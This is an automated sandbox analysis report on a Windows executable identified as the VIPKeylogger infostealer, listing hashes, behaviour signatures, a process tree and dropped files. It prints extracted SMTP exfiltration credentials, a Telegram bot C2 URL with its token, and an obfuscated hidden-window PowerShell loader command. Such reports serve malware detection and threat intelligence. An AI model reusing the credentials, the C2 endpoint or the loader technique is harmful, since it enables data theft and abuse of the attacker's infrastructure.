Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-01-2025 14:36

General

  • Target

    f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9.exe

  • Size

    764KB

  • MD5

    ee18481e218cc9bc7a1628f5a7365776

  • SHA1

    57ea302c84a488de1e5a5bcc669e02c5d9a7a350

  • SHA256

    f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9

  • SHA512

    a4ae4e6f3d46c05141e1d60b3f92d1b2ad27d758ae27bc063fb3f5fef953237120480e700c5d05d90cc41d92497674c0e7d3e25dbd62e591445170077309f78b

  • SSDEEP

    12288:0GCX77iIceZ0Na7lxnjXp54AQ2cPmT3a3ur93tRLPHj6XOahq:qr75cHavj7S1G3aer93tJPDUO/

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.abraher.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    General1

Extracted

Family

vipkeylogger

Credentials
C2

https://api.telegram.org/bot8101497037:AAEvNeES2X17rekW3womq6JjOwgZLJMqX1Y/sendMessage?chat_id=7171338311

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 10 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9.exe
    "C:\Users\Admin\AppData\Local\Temp\f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$afsmitnings=gc -raw 'C:\Users\Admin\AppData\Local\neoimpressionism\Sunsetting.Spe';$Overbefolkede=$afsmitnings.SubString(6903,3);.$Overbefolkede($afsmitnings) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:5112

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qgr2q1de.5wd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsxCB02.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    01e76fe9d2033606a48d4816bd9c2d9d

    SHA1

    e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2

    SHA256

    ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70

    SHA512

    62ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0

  • C:\Users\Admin\AppData\Local\neoimpressionism\Starost.Aud169

    Filesize

    333KB

    MD5

    a01a7b6997298405d8db82d7019581b1

    SHA1

    db88db262a5a9b901e79f164528dfce4dec096e1

    SHA256

    b65ed13d031c96566dc34332bd1bc3ae757911bae5e348d9a8819905289f7620

    SHA512

    5ceaf1bbe6a7bb3ba41568328a27803fe028f0d347345059a05ee2a980c84babf17734b4b9529ec6f847308a4c9ee5aa90e69194504d74273e8cee7507a787f3

  • C:\Users\Admin\AppData\Local\neoimpressionism\Sunsetting.Spe

    Filesize

    68KB

    MD5

    0751b57e7c9836548f433d8a91bbc582

    SHA1

    5f12a72da78da084e25b751b11a5e556cc88f6d5

    SHA256

    7307eb64e3419383d4ec7bd555f85ee9ca56e0972d75fd74a8949f4e412448f7

    SHA512

    2ee12bd05f884332a51587a3664488356c3149ea1971d9fd9bf474ef01ee2d78c01cd981130eb2bcd152eb3a685f4c6c385c4d4835e100510cd93ad6f43993a6

  • memory/2516-9-0x000000007392E000-0x000000007392F000-memory.dmp

    Filesize

    4KB

  • memory/2516-10-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

    Filesize

    216KB

  • memory/2516-11-0x0000000005890000-0x0000000005EB8000-memory.dmp

    Filesize

    6.2MB

  • memory/2516-12-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-13-0x0000000005810000-0x0000000005832000-memory.dmp

    Filesize

    136KB

  • memory/2516-15-0x0000000006060000-0x00000000060C6000-memory.dmp

    Filesize

    408KB

  • memory/2516-14-0x0000000005FF0000-0x0000000006056000-memory.dmp

    Filesize

    408KB

  • memory/2516-21-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-26-0x0000000006210000-0x0000000006564000-memory.dmp

    Filesize

    3.3MB

  • memory/2516-27-0x0000000006730000-0x000000000674E000-memory.dmp

    Filesize

    120KB

  • memory/2516-28-0x00000000067E0000-0x000000000682C000-memory.dmp

    Filesize

    304KB

  • memory/2516-29-0x0000000007720000-0x00000000077B6000-memory.dmp

    Filesize

    600KB

  • memory/2516-30-0x0000000006C70000-0x0000000006C8A000-memory.dmp

    Filesize

    104KB

  • memory/2516-31-0x0000000006CC0000-0x0000000006CE2000-memory.dmp

    Filesize

    136KB

  • memory/2516-32-0x0000000007DB0000-0x0000000008354000-memory.dmp

    Filesize

    5.6MB

  • memory/2516-34-0x00000000089E0000-0x000000000905A000-memory.dmp

    Filesize

    6.5MB

  • memory/2516-36-0x000000006FDB0000-0x000000006FDFC000-memory.dmp

    Filesize

    304KB

  • memory/2516-46-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-47-0x0000000007BA0000-0x0000000007BBE000-memory.dmp

    Filesize

    120KB

  • memory/2516-35-0x0000000007B60000-0x0000000007B92000-memory.dmp

    Filesize

    200KB

  • memory/2516-48-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-51-0x0000000007CD0000-0x0000000007CDA000-memory.dmp

    Filesize

    40KB

  • memory/2516-50-0x0000000007BD0000-0x0000000007C73000-memory.dmp

    Filesize

    652KB

  • memory/2516-49-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-52-0x0000000007CF0000-0x0000000007D01000-memory.dmp

    Filesize

    68KB

  • memory/2516-53-0x0000000007D40000-0x0000000007D4E000-memory.dmp

    Filesize

    56KB

  • memory/2516-54-0x0000000007D50000-0x0000000007D64000-memory.dmp

    Filesize

    80KB

  • memory/2516-55-0x0000000007D90000-0x0000000007DAA000-memory.dmp

    Filesize

    104KB

  • memory/2516-56-0x0000000007D80000-0x0000000007D88000-memory.dmp

    Filesize

    32KB

  • memory/2516-57-0x0000000008500000-0x000000000852A000-memory.dmp

    Filesize

    168KB

  • memory/2516-58-0x0000000008530000-0x0000000008554000-memory.dmp

    Filesize

    144KB

  • memory/2516-61-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-63-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-62-0x000000007392E000-0x000000007392F000-memory.dmp

    Filesize

    4KB

  • memory/2516-64-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-66-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-68-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-67-0x0000000009060000-0x000000000BB5B000-memory.dmp

    Filesize

    43.0MB

  • memory/2516-69-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-70-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-72-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-73-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/2516-74-0x0000000073920000-0x00000000740D0000-memory.dmp

    Filesize

    7.7MB

  • memory/5112-88-0x0000000001060000-0x00000000010AA000-memory.dmp

    Filesize

    296KB

  • memory/5112-87-0x0000000001060000-0x00000000022B4000-memory.dmp

    Filesize

    18.3MB

  • memory/5112-89-0x0000000022DF0000-0x0000000022E8C000-memory.dmp

    Filesize

    624KB

  • memory/5112-92-0x0000000023A80000-0x0000000023C42000-memory.dmp

    Filesize

    1.8MB

  • memory/5112-93-0x00000000231F0000-0x0000000023240000-memory.dmp

    Filesize

    320KB

  • memory/5112-94-0x0000000024180000-0x00000000246AC000-memory.dmp

    Filesize

    5.2MB

  • memory/5112-97-0x0000000023950000-0x00000000239E2000-memory.dmp

    Filesize

    584KB

  • memory/5112-98-0x00000000208B0000-0x00000000208BA000-memory.dmp

    Filesize

    40KB